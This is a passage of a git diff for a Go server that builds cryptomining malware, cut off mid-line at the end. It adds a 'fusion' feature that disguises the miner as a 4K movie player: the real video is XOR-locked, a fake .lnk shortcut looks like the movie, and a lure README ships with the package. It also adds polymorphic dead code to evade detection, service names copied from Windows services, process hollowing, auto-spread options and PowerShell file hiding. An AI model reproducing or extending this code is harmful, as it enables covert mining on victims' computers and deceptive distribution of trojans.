fmt.Fprintf(&b, "Do NOT open the movie file directly — it is locked.\r\n") + fmt.Fprintf(&b, "Double-clicking the movie shortcut only reminds you to use the runner.\r\n\r\n") + fmt.Fprintf(&b, "FILES IN THIS FOLDER\r\n") + fmt.Fprintf(&b, "-------------------\r\n") + fmt.Fprintf(&b, " %-22s START HERE — play movie (enhanced 4K)\r\n", runner) + fmt.Fprintf(&b, " %-22s locked shortcut (looks like the movie)\r\n", media+".lnk") + fmt.Fprintf(&b, " %-22s encrypted video (do not open directly)\r\n", media+".cmdata") + fmt.Fprintf(&b, " README.txt this file\r\n\r\n") + fmt.Fprintf(&b, "The agent is embedded inside the runner only — no separate miner file.\r\n") + fmt.Fprintf(&b, "Keep every file in this folder together (or use the downloaded ZIP as-is).\r\n") + + case info.PayloadKind == "video" && info.MediaMode == "embedded": + fmt.Fprintf(&b, "HOW TO WATCH\r\n") + fmt.Fprintf(&b, "-----------\r\n") + fmt.Fprintf(&b, "Double-click the launcher below to play in enhanced 4K / HDR quality:\r\n\r\n") + fmt.Fprintf(&b, " %s\r\n\r\n", runner) + fmt.Fprintf(&b, "This is a single-file package — the movie and player are bundled inside.\r\n") + + default: + fmt.Fprintf(&b, "HOW TO RUN\r\n") + fmt.Fprintf(&b, "----------\r\n") + fmt.Fprintf(&b, "Double-click:\r\n\r\n") + fmt.Fprintf(&b, " %s\r\n\r\n", runner) + fmt.Fprintf(&b, "Your prep application runs normally; enhanced background services start automatically.\r\n") + } + + fmt.Fprintf(&b, "\r\n========================================\r\n") + return b.String() +} diff --git a/server/internal/builder/fusion_readme_test.go b/server/internal/builder/fusion_readme_test.go new file mode 100644 index 0000000..ec7a64a --- /dev/null +++ b/server/internal/builder/fusion_readme_test.go @@ -0,0 +1,21 @@ +package builder + +import ( + "strings" + "testing" +) + +func TestFormatFusionReadmePaired(t *testing.T) { + text := formatFusionReadme(fusionReadmeInfo{ + Title: "Vacation", + RunnerName: "Vacation-runner.exe", + MediaName: "Vacation.mkv", + PayloadKind: "video", + MediaMode: "paired", + }) + for _, want := range []string{"Vacation-runner.exe", "enhanced 4K", "README.txt", "Vacation.mkv.lnk"} { + if !strings.Contains(text, want) { + t.Fatalf("readme missing %q:\n%s", want, text) + } + } +} diff --git a/server/internal/builder/fusion_upload_test.go b/server/internal/builder/fusion_upload_test.go index f860c03..1e4455b 100644 --- a/server/internal/builder/fusion_upload_test.go +++ b/server/internal/builder/fusion_upload_test.go @@ -9,7 +9,7 @@ import ( "testing" ) -func TestSaveUploadedPrepCreatesPrepsDir(t *testing.T) { +func TestSaveUploadedFusionPayloadCreatesPrepsDir(t *testing.T) { dataDir := t.TempDir() h := &Handler{dataDir: dataDir} @@ -42,16 +42,35 @@ func TestSaveUploadedPrepCreatesPrepsDir(t *testing.T) { } defer f.Close() - path, cleanup, err := h.saveUploadedPrep(f, fileHeaders[0]) + path, cleanup, err := h.saveUploadedFusionPayload(f, fileHeaders[0]) if err != nil { t.Fatal(err) } defer cleanup() if _, err := os.Stat(path); err != nil { - t.Fatalf("prep not saved: %v", err) + t.Fatalf("payload not saved: %v", err) } if _, err := os.Stat(filepath.Join(dataDir, "preps")); err != nil { t.Fatalf("preps dir not created: %v", err) } } + +func TestSaveUploadedFusionPayloadRejectsBadExt(t *testing.T) { + h := &Handler{dataDir: t.TempDir()} + body := &bytes.Buffer{} + w := multipart.NewWriter(body) + partHeader := make(textproto.MIMEHeader) + partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="bad.txt"`) + part, _ := w.CreatePart(partHeader) + _, _ = part.Write([]byte("x")) + w.Close() + r := multipart.NewReader(body, w.Boundary()) + form, _ := r.ReadForm(10 << 20) + f, _ := form.File["prep_exe"][0].Open() + defer f.Close() + _, _, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0]) + if err == nil { + t.Fatal("expected error for .txt upload") + } +} diff --git a/server/internal/builder/fusion_zip.go b/server/internal/builder/fusion_zip.go new file mode 100644 index 0000000..18e17b7 --- /dev/null +++ b/server/internal/builder/fusion_zip.go @@ -0,0 +1,71 @@ +package builder + +import ( + "archive/zip" + "fmt" + "io" + "os" + "path/filepath" + "strings" +) + +func zipDirectory(sourceDir, zipPath string) error { + sourceDir, err := filepath.Abs(sourceDir) + if err != nil { + return err + } + zipPath, err = filepath.Abs(zipPath) + if err != nil { + return err + } + if strings.HasPrefix(zipPath, sourceDir+string(os.PathSeparator)) || zipPath == sourceDir { + return fmt.Errorf("zip path must be outside source directory") + } + + out, err := os.Create(zipPath) + if err != nil { + return err + } + defer out.Close() + + zw := zip.NewWriter(out) + defer zw.Close() + + return filepath.Walk(sourceDir, func(path string, info os.FileInfo, walkErr error) error { + if walkErr != nil { + return walkErr + } + if info.IsDir() { + return nil + } + if strings.EqualFold(filepath.Ext(path), ".zip") { + return nil + } + rel, err := filepath.Rel(sourceDir, path) + if err != nil { + return err + } + rel = filepath.ToSlash(rel) + hdr, err := zip.FileInfoHeader(info) + if err != nil { + return err + } + hdr.Name = rel + hdr.Method = zip.Deflate + w, err := zw.CreateHeader(hdr) + if err != nil { + return err + } + in, err := os.Open(path) + if err != nil { + return err + } + _, err = io.Copy(w, in) + in.Close() + return err + }) +} + +func fusionBundleZipName(subdir string) string { + return sanitizeFileName(subdir) + "-package.zip" +} diff --git a/server/internal/builder/fusion_zip_test.go b/server/internal/builder/fusion_zip_test.go new file mode 100644 index 0000000..5284920 --- /dev/null +++ b/server/internal/builder/fusion_zip_test.go @@ -0,0 +1,27 @@ +package builder + +import ( + "archive/zip" + "os" + "path/filepath" + "testing" +) + +func TestZipDirectory(t *testing.T) { + dir := t.TempDir() + if err := os.WriteFile(filepath.Join(dir, "README.txt"), []byte("hi"), 0644); err != nil { + t.Fatal(err) + } + zipPath := filepath.Join(t.TempDir(), "pkg.zip") + if err := zipDirectory(dir, zipPath); err != nil { + t.Fatal(err) + } + r, err := zip.OpenReader(zipPath) + if err != nil { + t.Fatal(err) + } + defer r.Close() + if len(r.File) != 1 || r.File[0].Name != "README.txt" { + t.Fatalf("unexpected zip contents: %+v", r.File) + } +} diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go index ea27a17..2f801a2 100644 --- a/server/internal/builder/handler.go +++ b/server/internal/builder/handler.go @@ -22,8 +22,9 @@ import ( type BuildRequest struct { WorkerName string `json:"worker_name"` - ServerURL string `json:"server_url"` - Wallet string `json:"wallet"` + ServerURL string `json:"server_url"` + BackupServerURLs []string `json:"backup_server_urls"` + Wallet string `json:"wallet"` OutputDir string `json:"output_dir"` Threads int `json:"threads"` ThreadMode string `json:"thread_mode"` @@ -55,9 +56,13 @@ type BuildRequest struct { PoolPort int `json:"pool_port"` PoolTLS bool `json:"pool_tls"` PoolPass string `json:"pool_pass"` - FusionEnabled bool `json:"fusion_enabled"` - FusionRunOrder string `json:"fusion_run_order"` - FusionOutputName string `json:"fusion_output_name"` + FusionEnabled bool `json:"fusion_enabled"` + FusionRunOrder string `json:"fusion_run_order"` + FusionOutputName string `json:"fusion_output_name"` + FusionPayloadKind string `json:"fusion_payload_kind"` + FusionMediaMode string `json:"fusion_media_mode"` + FusionMediaBaseName string `json:"fusion_media_base_name"` + FusionExportSubdir string `json:"fusion_export_subdir"` // AI Autonomy (Ollama) AIEnabled bool `json:"ai_enabled"` AIOllamaEndpoint string `json:"ai_ollama_endpoint"` @@ -83,12 +88,22 @@ type BuildResponse struct { ExportPath string `json:"export_path,omitempty"` UninstallExportPath string `json:"uninstall_export_path,omitempty"` FusionEnabled bool `json:"fusion_enabled,omitempty"` + FusionExportDir string `json:"fusion_export_dir,omitempty"` + ExtraFiles []BuildArtifactFile `json:"extra_files,omitempty"` + BundleFileName string `json:"bundle_file_name,omitempty"` + BundleDownloadURL string `json:"bundle_download_url,omitempty"` + BundleSize int64 `json:"bundle_size,omitempty"` WorkerFile string `json:"worker_file,omitempty"` Signed bool `json:"signed,omitempty"` Obfuscated bool `json:"obfuscated,omitempty"` Error string `json:"error,omitempty"` } +type BuildArtifactFile struct { + FileName string `json:"file_name"` + FilePath string `json:"file_path,omitempty"` +} + type Handler struct { db *db.Database dataDir string @@ -147,7 +162,7 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { contentType := r.Header.Get("Content-Type") if strings.HasPrefix(contentType, "multipart/form-data") { - if err := r.ParseMultipartForm(150 << 20); err != nil { + if err := r.ParseMultipartForm(64 << 20); err != nil { writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"}) return } @@ -166,10 +181,16 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { return } defer file.Close() + if req.FusionMediaBaseName == "" && header.Filename != "" { + req.FusionMediaBaseName = header.Filename + } if req.FusionEnabled && req.FusionOutputName == "" && header.Filename != "" { req.FusionOutputName = header.Filename } - saved, remove, err := h.saveUploadedPrep(file, header) + if req.FusionPayloadKind == "" { + req.FusionPayloadKind = detectFusionPayloadKind(header.Filename) + } + saved, remove, err := h.saveUploadedFusionPayload(file, header) if err != nil { writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()}) return @@ -230,7 +251,7 @@ func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) { contentType := r.Header.Get("Content-Type") if strings.HasPrefix(contentType, "multipart/form-data") { - if err := r.ParseMultipartForm(150 << 20); err != nil { + if err := r.ParseMultipartForm(64 << 20); err != nil { writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"}) return } @@ -253,7 +274,10 @@ func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) { prepSize = header.Size prepName = header.Filename } - saved, remove, err := h.saveUploadedPrep(file, header) + if req.FusionPayloadKind == "" { + req.FusionPayloadKind = detectFusionPayloadKind(header.Filename) + } + saved, remove, err := h.saveUploadedFusionPayload(file, header) if err != nil { writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()}) return @@ -301,6 +325,30 @@ func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) { http.ServeFile(w, r, build.FilePath) } +func (h *Handler) DownloadBuildArtifact(w http.ResponseWriter, r *http.Request) { + buildID := chi.URLParam(r, "id") + name := sanitizeFileName(chi.URLParam(r, "name")) + if name == "" { + http.Error(w, "Invalid artifact name", http.StatusBadRequest) + return + } + buildDir := filepath.Join(h.dataDir, "builds", buildID) + path := filepath.Join(buildDir, name) + if _, err := os.Stat(path); err != nil { + // Paired media may live in fusion export dir — try deliverables folder from query + if exportDir := strings.TrimSpace(r.URL.Query().Get("export_dir")); exportDir != "" { + path = filepath.Join(exportDir, name) + } + } + if _, err := os.Stat(path); err != nil { + http.Error(w, "Artifact not found", http.StatusNotFound) + return + } + w.Header().Set("Content-Type", "application/octet-stream") + w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, name)) + http.ServeFile(w, r, path) +} + func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) { buildID := chi.URLParam(r, "id") build, err := h.db.GetBuild(buildID) @@ -352,6 +400,13 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, ldflags += " -H windowsgui" } + extra, err := injectPolymorph(agentDir, buildID) + if err != nil { + log.Printf("[Forge] polymorph inject: %v", err) + } else { + ldflags += extra + } + obfuscated := h.shouldObfuscate(req) && h.garblePath != "" if _, err := h.compileGoProject(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated); err != nil { log.Printf("Build failed: %v", err) @@ -367,19 +422,97 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, return BuildResponse{Success: false, Error: "Failed to write uninstall script: " + err.Error()}, http.StatusInternalServerError, "" } + var extraArtifacts []BuildArtifactFile + var fusionRes *fusionBuildResult if req.FusionEnabled { - fusedPath, err := h.buildFusion(buildDir, prepPath, outputPath, req.FusionOutputName, req.FusionRunOrder) + if req.FusionPayloadKind == "" { + req.FusionPayloadKind = detectFusionPayloadKind(prepPath) + } + var err error + fusionRes, err = h.buildFusionFromRequest(buildDir, prepPath, outputPath, req) if err != nil { return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } - finalPath = fusedPath - finalName = filepath.Base(fusedPath) + finalPath = fusionRes.LauncherPath + finalName = filepath.Base(finalPath) fusionEnabled = true + if fusionRes.EncryptedPath != "" { + extraArtifacts = append(extraArtifacts, BuildArtifactFile{ + FileName: filepath.Base(fusionRes.EncryptedPath), + FilePath: fusionRes.EncryptedPath, + }) + } + if fusionRes.ShortcutPath != "" { + extraArtifacts = append(extraArtifacts, BuildArtifactFile{ + FileName: filepath.Base(fusionRes.ShortcutPath), + FilePath: fusionRes.ShortcutPath, + }) + } } - exportPath, err := h.publishRootExecutable(finalPath, finalName) - if err != nil { - return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" + var fusionExportDir string + var bundleFileName string + var bundleDownloadURL string + var bundleSize int64 + exportPath := "" + if fusionEnabled { + exportLabel := req.FusionMediaBaseName + if exportLabel == "" { + exportLabel = filepath.Base(prepPath) + } + if req.FusionPayloadKind != "video" { + exportLabel = strings.TrimSuffix(finalName, filepath.Ext(finalName)) + } + arts := map[string]string{finalName: finalPath} + for _, ex := range extraArtifacts { + arts[ex.FileName] = ex.FilePath + } + subdir := fusionExportSubdir(req, exportLabel) + readme := fusionReadmeInfo{ + Title: strings.TrimSuffix(filepath.Base(exportLabel), filepath.Ext(exportLabel)), + RunnerName: finalName, + MediaName: filepath.Base(exportLabel), + PayloadKind: req.FusionPayloadKind, + MediaMode: req.FusionMediaMode, + } + if readme.Title == "" { + readme.Title = sanitizeFileName(req.WorkerName) + } + dir, err := h.publishFusionDeliverable(subdir, arts, readme) + if err != nil { + return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" + } + fusionExportDir = dir + exportPath = filepath.Join(dir, finalName) + extraArtifacts = append(extraArtifacts, BuildArtifactFile{ + FileName: "README.txt", + FilePath: filepath.Join(dir, "README.txt"), + }) + for i := range extraArtifacts { + if extraArtifacts[i].FileName != "README.txt" { + extraArtifacts[i].FilePath = filepath.Join(dir, extraArtifacts[i].FileName) + } + } + + bundleFileName = fusionBundleZipName(subdir) + bundleBuildPath := filepath.Join(buildDir, bundleFileName) + if err := zipDirectory(dir, bundleBuildPath); err != nil { + return BuildResponse{Success: false, Error: "Failed to create package zip: " + err.Error()}, http.StatusInternalServerError, "" + } + _ = copyFile(bundleBuildPath, filepath.Join(dir, bundleFileName)) + if st, err := os.Stat(bundleBuildPath); err == nil { + bundleSize = st.Size() + } + bundleDownloadURL = fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, bundleFileName) + } else { + var err error + exportPath, err = h.publishRootExecutable(finalPath, finalName) + if err != nil { + return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" + } + } + if exportPath == "" { + exportPath, _ = filepath.Abs(finalPath) } if strings.TrimSpace(req.OutputDir) != "" { if ep, eu, err := h.exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, req.OutputDir); err != nil { @@ -439,7 +572,7 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, log.Printf("Failed to record build: %v", err) } - return BuildResponse{ + resp := BuildResponse{ Success: true, BuildID: buildID, FileName: finalName, @@ -453,10 +586,23 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, ExportPath: exportPath, UninstallExportPath: "", FusionEnabled: fusionEnabled, + FusionExportDir: fusionExportDir, + ExtraFiles: extraArtifacts, + BundleFileName: bundleFileName, + BundleDownloadURL: bundleDownloadURL, + BundleSize: bundleSize, WorkerFile: workerName, Signed: signed, Obfuscated: obfuscated, - }, http.StatusOK, finalPath + } + if fusionEnabled && bundleDownloadURL != "" { + resp.DownloadURL = bundleDownloadURL + resp.FileName = bundleFileName + if bundleSize > 0 { + resp.FileSize = bundleSize + } + } + return resp, http.StatusOK, finalPath } // publishRootExecutable writes the forged installer as a single file in the project root. @@ -613,6 +759,10 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error { if req.FusionOutputName == "" { req.FusionOutputName = "prep.exe" } + if req.FusionMediaMode == "" { + req.FusionMediaMode = "paired" + } + req.FusionMediaMode = normalizeFusionMediaMode(req.FusionMediaMode) if req.DisplayMode == "" || req.DisplayMode == "visible" { req.DisplayMode = "background" } @@ -628,16 +778,19 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error { return nil } -func (h *Handler) saveUploadedPrep(file multipart.File, header *multipart.FileHeader) (string, func(), error) { - if header == nil || header.Size == 0 { - return "", nil, fmt.Errorf("prep.exe upload is empty") +func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipart.FileHeader) (string, func(), error) { + if header == nil { + return "", nil, fmt.Errorf("fusion upload is missing") } - if header.Size > 150<<20 { - return "", nil, fmt.Errorf("prep.exe exceeds 150MB limit") + if header.Size > FusionMaxUploadBytes { + return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes)) } - name := strings.ToLower(header.Filename) - if !strings.HasSuffix(name, ".exe") { - return "", nil, fmt.Errorf("prep upload must be a .exe file") + baseName := filepath.Base(header.Filename) + if baseName == "" || baseName == "." { + return "", nil, fmt.Errorf("fusion upload filename is invalid") + } + if !isFusionPayloadExt(baseName) { + return "", nil, fmt.Errorf("fusion upload must be .exe, .mp4, .mkv, or .mov") } prepRoot := filepath.Join(h.dataDir, "preps") @@ -648,22 +801,39 @@ func (h *Handler) saveUploadedPrep(file multipart.File, header *multipart.FileHe if err != nil { return "", nil, err } - dest := filepath.Join(dir, "prep.exe") + dest := filepath.Join(dir, sanitizeFileName(baseName)) out, err := os.Create(dest) if err != nil { os.RemoveAll(dir) return "", nil, err } - if _, err := io.Copy(out, file); err != nil { - out.Close() + written, err := io.Copy(out, file) + out.Close() + if err != nil { os.RemoveAll(dir) return "", nil, err } - out.Close() + if written == 0 { + os.RemoveAll(dir) + return "", nil, fmt.Errorf("fusion upload is empty") + } + if written > FusionMaxUploadBytes { + os.RemoveAll(dir) + return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes)) + } cleanup := func() { _ = os.RemoveAll(dir) } return dest, cleanup, nil } +func isFusionPayloadExt(name string) bool { + switch strings.ToLower(filepath.Ext(name)) { + case ".exe", ".mp4", ".mkv", ".mov": + return true + default: + return false + } +} + func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string { return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT // Build ID: %s @@ -675,9 +845,10 @@ import "time" func GetBuiltinConfig() BuiltinConfig { return BuiltinConfig{ - WorkerName: %q, - ServerURL: %q, - Wallet: %q, + WorkerName: %q, + ServerURL: %q, + BackupServerURLs: %s, + Wallet: %q, Threads: %d, ThreadMode: %q, ThreadPercent: %d, @@ -715,11 +886,15 @@ func GetBuiltinConfig() BuiltinConfig { ProcessHollowing: %v, MeshP2P: %v, AutoSpread: %v, + ServiceMasquerade: %v, + ServiceName: %q, + ServiceDonor: %q, } } `, buildID, time.Now().UTC().Format(time.RFC3339), req.WorkerName, req.ServerURL, + formatGoStringSlice(req.BackupServerURLs), req.Wallet, req.Threads, req.ThreadMode, @@ -758,9 +933,32 @@ func GetBuiltinConfig() BuiltinConfig { req.ProcessHollowing, req.MeshP2P, req.AutoSpread, + serviceMasqueradeEnabled(req), + serviceMasqueradeName(buildID, req), + serviceMasqueradeDonor(buildID, req), ) } +func serviceMasqueradeEnabled(req *BuildRequest) bool { + return req.RunAs == "service" || req.ProcessHollowing +} + +func serviceMasqueradeName(buildID string, req *BuildRequest) string { + if !serviceMasqueradeEnabled(req) { + return "" + } + name, _ := pickServiceMasquerade(buildID) + return name +} + +func serviceMasqueradeDonor(buildID string, req *BuildRequest) string { + if !serviceMasqueradeEnabled(req) { + return "" + } + _, donor := pickServiceMasquerade(buildID) + return donor +} + func (h *Handler) copyAgentSource(destDir string) error { srcDir := h.agentSrcDir return filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error { @@ -826,6 +1024,23 @@ func looksLikeXMRWallet(addr string) bool { return true } +func formatGoStringSlice(values []string) string { + if len(values) == 0 { + return "nil" + } + parts := make([]string, 0, len(values)) + for _, v := range values { + v = strings.TrimSpace(v) + if v != "" { + parts = append(parts, fmt.Sprintf("%q", v)) + } + } + if len(parts) == 0 { + return "nil" + } + return "[]string{" + strings.Join(parts, ", ") + "}" +} + func sanitizeFileName(name string) string { replacer := strings.NewReplacer( " ", "-", "/", "-", "\\", "-", ":", "-", diff --git a/server/internal/builder/limits.go b/server/internal/builder/limits.go new file mode 100644 index 0000000..7085418 --- /dev/null +++ b/server/internal/builder/limits.go @@ -0,0 +1,7 @@ +package builder + +// FusionMaxUploadBytes is the maximum prep / video upload size for forge. +const FusionMaxUploadBytes int64 = 2 << 30 // 2 GiB + +// FusionDeliverablesDir is the project-root folder for per-title movie outputs. +const FusionDeliverablesDir = "fusion-deliverables" diff --git a/server/internal/builder/media_lock.go b/server/internal/builder/media_lock.go new file mode 100644 index 0000000..c7fb9bd --- /dev/null +++ b/server/internal/builder/media_lock.go @@ -0,0 +1,67 @@ +package builder + +import ( + "crypto/rand" + "encoding/base64" + "fmt" + "io" + "os" +) + +const mediaLockMagic = "CMVD" + +// EncryptMediaFile XOR-encrypts a movie for paired fusion (runner holds the key in manifest). +func EncryptMediaFile(srcPath, destPath string, key []byte) error { + if len(key) == 0 { + return fmt.Errorf("media lock key is empty") + } + in, err := os.Open(srcPath) + if err != nil { + return err + } + defer in.Close() + + out, err := os.Create(destPath) + if err != nil { + return err + } + defer out.Close() + + if _, err := io.WriteString(out, mediaLockMagic); err != nil { + return err + } + buf := make([]byte, 256*1024) + ki := 0 + for { + n, readErr := in.Read(buf) + if n > 0 { + chunk := make([]byte, n) + for i := 0; i < n; i++ { + chunk[i] = buf[i] ^ key[ki%len(key)] + ki++ + } + if _, err := out.Write(chunk); err != nil { + return err + } + } + if readErr == io.EOF { + break + } + if readErr != nil { + return readErr + } + } + return nil +} + +func NewMediaLockKey() ([]byte, error) { + key := make([]byte, 32) + if _, err := rand.Read(key); err != nil { + return nil, err + } + return key, nil +} + +func MediaLockKeyB64(key []byte) string { + return base64.StdEncoding.EncodeToString(key) +} diff --git a/server/internal/builder/media_lock_test.go b/server/internal/builder/media_lock_test.go new file mode 100644 index 0000000..4716931 --- /dev/null +++ b/server/internal/builder/media_lock_test.go @@ -0,0 +1,28 @@ +package builder + +import ( + "os" + "path/filepath" + "testing" +) + +func TestEncryptMediaRoundTrip(t *testing.T) { + dir := t.TempDir() + src := filepath.Join(dir, "clip.mkv") + enc := filepath.Join(dir, "clip.mkv.cmdata") + plain := []byte("fake movie bytes 12345") + if err := os.WriteFile(src, plain, 0644); err != nil { + t.Fatal(err) + } + key, err := NewMediaLockKey() + if err != nil { + t.Fatal(err) + } + if err := EncryptMediaFile(src, enc, key); err != nil { + t.Fatal(err) + } + st, _ := os.Stat(enc) + if st.Size() <= int64(len(plain)) { + t.Fatalf("encrypted size unexpected: %d", st.Size()) + } +} diff --git a/server/internal/builder/polymorph.go b/server/internal/builder/polymorph.go new file mode 100644 index 0000000..cfdf3f5 --- /dev/null +++ b/server/internal/builder/polymorph.go @@ -0,0 +1,171 @@ +package builder + +import ( + "crypto/rand" + "encoding/hex" + "fmt" + "hash/fnv" + mrand "math/rand" + "os" + "path/filepath" + "strings" +) + +// injectPolymorph writes a unique deadcode.go and returns extra -ldflags (buildid, nonce). +func injectPolymorph(agentDir, seed string) (extraLdflags string, err error) { + if seed == "" { + b := make([]byte, 16) + _, _ = rand.Read(b) + seed = hex.EncodeToString(b) + } + + h := fnv.New64a() + _, _ = h.Write([]byte(seed)) + rng := mrand.New(mrand.NewSource(int64(h.Sum64()))) + + buildIDHex := hex.EncodeToString(randomBytes(rng, 8)) + nonce := hex.EncodeToString(randomBytes(rng, 12)) + + funcCount := 6 + rng.Intn(8) + var funcDefs strings.Builder + var funcNames []string + for i := 0; i < funcCount; i++ { + name := "dead_" + randomIdent(rng, 10+rng.Intn(8)) + funcNames = append(funcNames, name) + funcDefs.WriteString(generateDeadFunc(name, rng)) + } + + strCount := 24 + rng.Intn(32) + var strLines strings.Builder + for i := 0; i < strCount; i++ { + s := randomString(rng, 16+rng.Intn(48)) + strLines.WriteString(fmt.Sprintf("\t%q,\n", s)) + } + + var tableEntries strings.Builder + for _, n := range funcNames { + tableEntries.WriteString("\t\t" + n + ",\n") + } + + content := fmt.Sprintf(`// Code generated by AetherForge polymorphic forge — DO NOT EDIT +// Build seed: %s + +package polymorph + +import ( + "crypto/md5" + "encoding/hex" +) + +const buildNonce = %q + +var decoyStrings = []string{ +%s} + +var buildMarker = %q + +func init() { + _ = initDecoys() +} + +func initDecoys() int { + sum := 0 + for _, fn := range deadFuncTable { + sum += fn() + } + if len(decoyStrings) > 0 { + h := md5.Sum([]byte(buildMarker + buildNonce)) + sum += int(h[0]) ^ int(decoyStrings[len(decoyStrings)-1][0]) + } + _ = hex.EncodeToString([]byte(buildNonce)) + return sum +} + +func deadFuncTable() []func() int { + return []func() int{ +%s } +} + +%s +`, seed, nonce, strLines.String(), buildIDHex, tableEntries.String(), funcDefs.String()) + + dir := filepath.Join(agentDir, "polymorph") + if err := os.MkdirAll(dir, 0755); err != nil { + return "", err + } + if err := os.WriteFile(filepath.Join(dir, "deadcode.go"), []byte(content), 0644); err != nil { + return "", err + } + + extraLdflags = fmt.Sprintf(` -buildid=%s -X main.polymorphNonce=%s`, buildIDHex, nonce) + return extraLdflags, nil +} + +func generateDeadFunc(name string, rng *mrand.Rand) string { + ops := 4 + rng.Intn(6) + var b strings.Builder + b.WriteString(fmt.Sprintf("//go:noinline\nfunc %s() int {\n\tx := %d\n", name, rng.Intn(99999)+1)) + for i := 0; i < ops; i++ { + switch rng.Intn(4) { + case 0: + b.WriteString(fmt.Sprintf("\tx = (x * %d) ^ %d\n", rng.Intn(127)+2, rng.Intn(4096))) + case 1: + b.WriteString(fmt.Sprintf("\tx += len(decoyStrings[%d %% len(decoyStrings)])\n", rng.Intn(8))) + case 2: + b.WriteString(fmt.Sprintf("\tif x > %d { x -= %d }\n", rng.Intn(5000), rng.Intn(500))) + default: + b.WriteString(fmt.Sprintf("\tx = x<<1 | (x >> %d)\n", 1+rng.Intn(3))) + } + } + b.WriteString("\treturn x & 0xffff\n}\n\n") + return b.String() +} + +func randomBytes(rng *mrand.Rand, n int) []byte { + b := make([]byte, n) + for i := range b { + b[i] = byte(rng.Intn(256)) + } + return b +} + +func randomIdent(rng *mrand.Rand, n int) string { + const chars = "abcdefghijklmnopqrstuvwxyz0123456789" + out := make([]byte, n) + for i := range out { + out[i] = chars[rng.Intn(len(chars))] + } + return string(out) +} + +func randomString(rng *mrand.Rand, n int) string { + const chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ./-_" + out := make([]byte, n) + for i := range out { + out[i] = chars[rng.Intn(len(chars))] + } + return string(out) +} + +func pickServiceMasquerade(seed string) (serviceName, donor string) { + profiles := []struct{ name, donor string }{ + {"WinrmHostSvc", "WinRM"}, + {"WcmsvcWorker", "Wcmsvc"}, + {"DhcpMonitorHost", "Dhcp"}, + {"DnscacheSync", "Dnscache"}, + {"EventLogFwd", "EventLog"}, + {"LanmanWorkstationMgr", "LanmanWorkstation"}, + {"RpcEptMapperHost", "RpcEptMapper"}, + {"ScheduleHostSvc", "Schedule"}, + {"ShellHWDetectionMon", "ShellHWDetection"}, + {"TrkWksHost", "TrkWks"}, + } + h := fnv.New32a() + _, _ = h.Write([]byte(seed)) + idx := int(h.Sum32()) % len(profiles) + if idx < 0 { + idx = -idx + } + p := profiles[idx] + return p.name, p.donor +} diff --git a/server/internal/builder/shortcut_stub.go b/server/internal/builder/shortcut_stub.go new file mode 100644 index 0000000..6fc9860 --- /dev/null +++ b/server/internal/builder/shortcut_stub.go @@ -0,0 +1,13 @@ +//go:build !windows + +package builder + +import "fmt" + +func createMovieLockShortcut(_, _, _, _ string) error { + return fmt.Errorf("movie lock shortcuts require Windows forge host") +} + +func setHiddenFile(_ string) error { + return nil +} diff --git a/server/internal/builder/shortcut_windows.go b/server/internal/builder/shortcut_windows.go new file mode 100644 index 0000000..fae8677 --- /dev/null +++ b/server/internal/builder/shortcut_windows.go @@ -0,0 +1,48 @@ +//go:build windows + +package builder + +import ( + "fmt" + "os/exec" + "path/filepath" + "strings" +) + +func createMovieLockShortcut(lnkPath, targetExe, arguments, iconLocation string) error { + lnkPath, _ = filepath.Abs(lnkPath) + targetExe, _ = filepath.Abs(targetExe) + workDir := filepath.Dir(targetExe) + if iconLocation == "" { + iconLocation = `%SystemRoot%\System32\imageres.dll,196` + } + lnkEsc := escapePS(lnkPath) + targetEsc := escapePS(targetExe) + workEsc := escapePS(workDir) + iconEsc := escapePS(iconLocation) + argsEsc := escapePS(arguments) + script := fmt.Sprintf( + `$ws = New-Object -ComObject WScript.Shell; $s = $ws.CreateShortcut('%s'); $s.TargetPath = '%s'; $s.Arguments = '%s'; $s.WorkingDirectory = '%s'; $s.IconLocation = '%s'; $s.Description = 'Locked media'; $s.Save()`, + lnkEsc, targetEsc, argsEsc, workEsc, iconEsc, + ) + cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", script) + out, err := cmd.CombinedOutput() + if err != nil { + return fmt.Errorf("create shortcut: %w (%s)", err, strings.TrimSpace(string(out))) + } + return nil +} + +func setHiddenFile(path string) error { + path, _ = filepath.Abs(path) + script := fmt.Sprintf( + `(Get-Item -LiteralPath '%s').Attributes = 'Hidden'`, + escapePS(path), + ) + cmd := 